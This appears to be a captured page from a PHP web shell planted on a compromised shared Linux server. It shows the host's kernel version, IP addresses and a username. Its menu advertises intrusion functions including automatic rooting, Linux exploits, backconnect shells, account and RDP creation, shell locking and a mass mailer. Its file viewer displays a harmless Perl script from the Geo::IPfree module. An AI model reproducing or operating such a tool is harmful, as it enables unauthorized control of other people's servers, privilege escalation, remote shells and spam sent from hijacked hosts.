Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libgeo-ipfree-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
ipct2txt.pl
1.41
KB
-rw-r--r--
txt2ipct.pl
3.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : txt2ipct.pl
#!/usr/bin/perl use strict; use warnings; require Geo::IPfree; use IO::Handle; ################################## # CONVERT TXT TO IPSCOUNTRY.DAT # ################################## my $in_fname = $ARGV[0] || './ips-ascii.txt'; my $out_fname = $ARGV[1] || './ipscountry.dat'; my $HEADERS_BLKS = 256; if ( !@ARGV || $ARGV[0] =~ m{^-[h?]}i ) { print qq`This tool will convert the ASCII database (from ipct2txt) to Geo::IPfree dat file. USAGE: perl $0 ./ips-ascii.txt ./ipscountry.dat `; exit; } print "Reading ${in_fname} ...\n"; open( my $in_fh, $in_fname ) or die "unable to open '${in_fname}': $!"; my @DB; while ( my $line = <$in_fh> ) { my ( $country, $ip ) = $line =~ m{^([\w-]{2}):\s+(\d+\.\d+\.\d+\.\d+)}gs; my $range = Geo::IPfree::ip2nb($ip); my $iprange = Geo::IPfree::dec2baseX($range); unshift( @DB, "${country}${iprange}" ); } close($in_fh); my %headers; my $c = 0; my $pos = 0; my $blk_sz = int( @DB / $HEADERS_BLKS ); print "BLK size: $blk_sz\n"; foreach my $DB_i (@DB) { if ( $c == 0 ) { my $iprange = substr( $DB_i, 2 ); my $range = Geo::IPfree::baseX2dec($iprange); $headers{$range} = $pos; } $c++; if ( $c >= $blk_sz ) { $c = 0; } $pos += 7; } print "Saving ${out_fname} ...\n"; open( my $out_fh, '>', $out_fname ) or die "unable to open '${out_fname}': $!"; $out_fh->autoflush(1); my $date = get_date(); print $out_fh qq`############################################################### ## IPs COUNTRY DATABASE ($date) ## ############################################################### ## This is the database used in the Perl module Geo::IPfree. ## ## ## ## FORMAT: ## ## ## ## the DB has a list of IP ranges & countrys, for ## ## example, from 200.128.0.0 to 200.103.255.255 the IPs ## ## are from BR. To make a fast access to the DB the ## ## format try to use less bytes per input (block). The ## ## file was in ASCII and in blocks of 7 bytes: XXnnnnn ## ## ## ## XX -> the country code (BR,US...) ## ## nnnnn -> the IP range using a base of 85 digits ## ## (not in dec or hex to get space). ## ## ## ## To convert this file back to plain text, see the ## ## ipct2txt.pl script shipped with Geo-IPfree. ## ## ## ## Check CPAN for updates... ## ############################################################### `; my $header = join( '#', map { "$_=$headers{$_}" } sort { $b <=> $a } keys %headers ); print $out_fh "\n##headers##" . length($header) . "##${header}"; print $out_fh "\n\n##start##"; print $out_fh $_ for @DB; close($out_fh); print "Done.\n"; sub get_date { my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime(time); return sprintf( '%d-%02d-%02d %02d:%02d:%02d', $year + 1900, $mon + 1, $mday, $hour, $min, $sec ); }
Close